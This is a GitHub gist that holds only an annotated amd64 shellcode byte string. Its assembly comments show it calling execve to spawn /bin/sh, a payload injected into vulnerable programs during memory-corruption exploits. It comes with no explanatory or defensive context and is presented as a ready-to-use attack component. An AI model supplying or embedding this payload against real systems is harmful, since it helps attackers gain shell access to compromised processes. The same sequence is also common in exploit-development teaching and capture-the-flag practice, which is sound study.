Created
July 3, 2024 08:01
-
-
Save robd003/e02dc90f8aa4e326b8ebdbdf718c4d1e to your computer and use it in GitHub Desktop.
amd64 /bin/sh shellcode
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"\x48\x31\xc0" // xor %rax,%rax | |
"\x50" // push %rax | |
"\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" // mov $0x68732f6e69622f2f, %rbx | |
"\x53" // push %rbx | |
"\x48\x89\xe7" // mov %rsp,%rdi | |
"\x50" // push %rax | |
"\x57" // push %rdi | |
"\x48\x89\xe6" // mov %rsp,%rsi | |
"\xb0\x3b" // mov $0x3b,%al | |
"\x0f\x05" // syscall |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment